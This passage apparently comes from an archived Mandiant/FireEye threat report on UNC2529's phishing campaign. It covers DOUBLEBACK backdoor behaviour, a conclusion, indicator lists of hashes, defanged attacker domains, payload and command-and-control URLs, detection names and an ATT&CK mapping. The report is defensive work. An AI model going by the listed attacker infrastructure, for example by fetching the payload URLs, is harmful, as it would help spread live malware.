p_plugin_image_in_memory)\r\nFigure 16: Plugins initialization routine prototype\r\nThe current backdoor's implementation provides support for up to 32 plugins with each of them mapped and\r\ninitialized in the backdoor's process space.\r\nAdditional Notes\r\nThe first backdoor instance we observed back in December 2020 was a stable and well-written code, but it was\r\nclearly a work in progress. For example, the early instance of the malware spawns a thread to secure delete the\r\nDOUBLEDROP dropper from disk which indicates that an earlier variant of this malware launched a copy of the\r\ndropper from the file system. The dropper would save its current location on disk in the default registry value\r\nunder the HK[LM|CU]:\\Software\\Classes key. The backdoor spawns a dedicated thread that retrieves the\r\ndropper’s path and then proceeds to overwrite the image on disk with 0x00, 0xFF, and a randomly generated byte\r\nbefore deleting the dropper from the file system.\r\nAdditionally, the early instance of the backdoor, as mentioned, would not handle the situations when an elevated\r\nPowerShell process is used. The dropper would use a scheduled task in that case with the relevant registry keys\r\ncreated under the HKLM hive but the backdoor does not support that case and will not be able to find its image\r\nunder the specific key in order to inject itself into the msiexec.exe process.\r\nFinally, the backdoor would output debug information in a few cases using the OutputDebugString API.\r\nInterestingly, the format and the generation of the log message is the same as the one used in the publicly available\r\nPEGASUS code (preliminary technical analysis: Pegasus Malware Source Code). The PEGASUS backdoor is\r\ndistributed with modules that allow it to manipulate files generated by common Russian payment processing\r\nsoftware that is used to assess and process VAT refunds. When executed on a workstation running targeted\r\nsoftware, the malware can attempt to add VAT to transactions that are normally exempt and directs associated tax\r\nrefunds to attacker-controlled bank accounts.\r\nConclusion\r\nConsiderable resources were employed by UNC2529 to conduct their December phishing campaign. Almost 50\r\ndomains supported various phases of the effort, targets were researched, and a legitimate third-party domain was\r\ncompromised. The threat actor made extensive use of obfuscation and fileless malware to complicate detection to\r\ndeliver a well coded and extensible backdoor. UNC2529 is assessed as capable, professional and well resourced.\r\nThe identified wide-ranging targets, across geography and industry suggests a financial crime motive.\r\nDOUBLEBACK appears to be an ongoing work in progress and Mandiant anticipates further actions by\r\nUNC2529 to compromise victims across all industries worldwide.\r\nTechnical Indicators\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 16 of 22\n\nDOUBLEDRAG / BIFF8\r\nFiles\r\nMD5 Role Wave\r\n39fc804566d02c35f3f9d67be52bee0d DOUBLEDRAG 1\r\nst\r\n44f7af834ee7387ac5d99a676a03cfdd DOUBLEDRAG 1\r\nst\r\n4e5583e34ad54fa7d1617f400281ba56 PDF Decoy 1\r\nst\r\ne80dc4c3e26deddcc44e66bb19b6fb58 PDF Decoy 1\r\nst\r\n169c4d96138d3ff73097c2a9aab5b1c0 Zip 1\r\nst\r\ne70502d020ba707095d46810fd32ee49 Zip 1\r\nst\r\n62fb99dc271abc104504212157a4ba91 Excel BIFF8 macro 2\r\nnd\r\n1d3fcb7808495bd403973a0472291da5 PDF Decoy 2\r\nnd\r\n6a1da7ee620c638bd494f4e24f6f1ca9 Zip 2\r\nnd\r\na28236b43f014c15f7ad4c2b4daf1490 Zip 2\r\nnd\r\nd594b3bce66b8b56881febd38aa075fb Zip 2\r\nnd\r\nDomains\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 17 of 22\n\nDec. 2, 2020 Wave Dec. 11 to 18, 2020 Wave\r\nadupla[.]net aibemarle[.]com\r\nceylonbungalows[.]net bestwalletforbitcoin[.]com\r\nchandol[.]com bitcoinsacks[.]com\r\nclosetdeal[.]com digitalagencyleeds[.]com\r\ndaldhillon[.]com erbilmarriott[.]com\r\ndesmoncreative[.]com ethernetpedia[.]com\r\nfarmpork[.]com fileamazon[.]com\r\ngemralph[.]com gamesaccommodationscotland[.]com\r\nisjustlunch[.]com greathabibgroup[.]com\r\nlogicmyass[.]com infomarketx[.]com\r\nlottoangels[.]com jagunconsult[.]com\r\nmangoldsengers[.]com khodaycontrolsystem[.]com\r\noconeeveteransmemorial[.]com maninashop[.]com\r\nscottishhandcraft[.]com onceprojects[.]com\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 18 of 22\n\nseathisons[.]com simcardhosting[.]com\r\nskysatcam[.]com stayzarentals[.]com\r\nsmartnhappy[.]com touristboardaccommodation[.]com\r\nstepearn[.]com towncentrehotel[.]com\r\nsugarmummylove[.]com vacuumcleanerpartsstore[.]com\r\ntechooze[.]com zmrtu[.]com\r\ntigertigerbeads[.]com\r\ntotallyhealth-wealth[.]com\r\ntowncenterhotel[.]com\r\nuaeworkpermit[.]com\r\nDOUBLEDROP\r\nMD5\r\n4b32115487b4734f2723d461856af155\r\n9e3f7e6697843075de537a8ba83da541\r\ncc17e0a3a15da6a83b06b425ed79d84c\r\nURLs\r\nhxxp://p-leh[.]com/update_java.dat\r\nhxxp://clanvisits[.]com/mini.dat\r\nhxxps://towncentrehotels[.]com/ps1.dat\r\nDOUBLEBACK\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 19 of 22\n\nMD5\r\n1aeecb2827babb42468d8257aa6afdeb\r\n1bdf780ea6ff3abee41fe9f48d355592\r\n1f285e496096168fbed415e6496a172f\r\n6a3a0d3d239f04ffd0666b522b8fcbaa\r\nce02ef6efe6171cd5d1b4477e40a3989\r\nfa9e686b811a1d921623947b8fd56337\r\nURLs\r\nhxxps://klikbets[.]net/admin/client.php\r\nhxxps://lasartoria[.]net/admin/client.php\r\nhxxps://barrel1999[.]com/admin4/client.php\r\nhxxps://widestaticsinfo[.]com/admin4/client.php\r\nhxxps://secureinternet20[.]com/admin5/client.php\r\nhxxps://adsinfocoast[.]com/admin5/client.php\r\nDetections\r\nFireEye detects this activity across our platforms. The following contains specific detection names that provide an\r\nindicator of exploitation or post-exploitation activities we associate with UNC2529.\r\nPlatforms Detection Name\r\nNetwork Security\r\nEmail Security\r\nDetection On Demand\r\nMalware File Scanning\r\nMalware File Storage\r\nScanning\r\nFEC_Trojan_JS_DOUBLEDRAG_1 (static)\r\nFE_Trojan_JS_DOUBLEDRAG_1 (static)\r\nDownloader.DOUBLEDRAG (network)\r\nDownloader.JS.DOUBLEDRAG.MVX (dynamic)\r\nFE_Dropper_PS1_DOUBLEDROP_1 (static)\r\nFEC_Dropper_PS1_DOUBLEDROP_1 (static)\r\nDropper.PS1.DOUBLEDROP.MVX (dynamic)\r\nFE_Backdoor_Win_DOUBLEBACK_1 (static)\r\nFE_Backdoor_Win_DOUBLEBACK_2 (static)\r\nFE_Backdoor_Win_DOUBLEBACK_3 (static)\r\nFE_Backdoor_Win_DOUBLEBACK_4 (static)\r\nBackdoor.Win.DOUBLEBACK (network)\r\nMalware.Binary.xls\r\nEndpoint Security Real-Time (IOC)\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 20 of 22\n\nPOWERSHELL ENCODED REMOTE DOWNLOAD\r\n(METHODOLOGY)\r\nSUSPICIOUS POWERSHELL USAGE (METHODOLOGY)\r\nMALICIOUS SCRIPT CONTENT A (METHODOLOGY)\r\nPOWERSHELL INVOCATION FROM REGISTRY ARTIFACT\r\n(METHODOLOGY)\r\nMalware Protection (AV/MG)\r\nGeneric.mg.1aeecb2827babb42\r\nGeneric.mg.1bdf780ea6ff3abe\r\nGeneric.mg.1f285e496096168f\r\nGeneric.mg.6a3a0d3d239f04ff\r\nGeneric.mg.ce02ef6efe6171cd\r\nGeneric.mg.fa9e686b811a1d92\r\nTrojan.JS.Agent.TZP\r\nGen:Variant.Ulise.150277\r\nGen:Variant.Ulise.150283\r\nGen:Variant.Razy.799918\r\nUNC2529 MITRE ATT\u0026CK Mapping\r\nATT\u0026CK Tactic Category Techniques\r\nResource Development\r\nCompromise Infrastructure (TT1584)\r\nDevelop Capabilities (T1587)\r\nDigital Certificates (T1587.003)\r\nObtain Capabilities (T1588)\r\nDigital Certificates (T1588.004)\r\nInitial Access\r\nPhishing (T1566)\r\nSpearphishing Link (T1566.002)\r\nExecution\r\nUser Execution (T1204)\r\nMalicious Link (T1204.001)\r\nCommand and Scripting Interpreter (T1059)\r\nVisual Basic (T1059.005)\r\nJavaScript/JScript (T1059.007)\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 21 of 22\n\nPrivilege Escalation Process Injection (T1055)\r\nDefense Evasion\r\nIndicator Removal on Host (T1070)\r\nFile Deletion (T1070.004)\r\nObfuscated Files or Information (T1027)\r\nProcess Injection (T1055)\r\nModify Registry (T1112)\r\nDiscovery\r\nSystem Owner/User Discovery (T1033)\r\nProcess Discovery (T1057)\r\nSystem Information Discovery (T1082)\r\nAccount Discovery (T1087)\r\nSoftware Discovery (T1518)\r\nCollection\r\nScreen Capture (T1113)\r\nArchive Collected Data (T1560)\r\nArchive via Utility (T1560.001)\r\nCommand and Control\r\nApplication Layer Protocol (T1071)\r\nWeb Protocols (T1071.001)\r\nAsymmetric Cryptography (T1573.002)\r\nAcknowledgements\r\nThank you to Tyler McLellan, Dominik Weber, Michael Durakovich and Jeremy Kennelly for technical review of\r\nthis content. In addition, thank you to Nico Paulo Yturriaga and Evan Reese for outstanding signature creation,\r\nand Ana Foreman for graphics support.\r\nPosted in\r\nThreat Intelligence\r\nSecurity \u0026 Identity\r\nSource: https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nhttps://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html\r\nPage 22 of 22",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html"
	],
	"report_names": [
		"unc2529-triple-double-trifecta-phishing-campaign.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775434398,
	"ts_updated_at": 1775791249,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/fd41e484c702514a05e992b9aeeb1f73c27fd54c.pdf",
		"text": "https://archive.orkl.eu/fd41e484c702514a05e992b9aeeb1f73c27fd54c.txt",
		"img": "https://archive.orkl.eu/fd41e484c702514a05e992b9aeeb1f73c27fd54c.jpg"
	}
}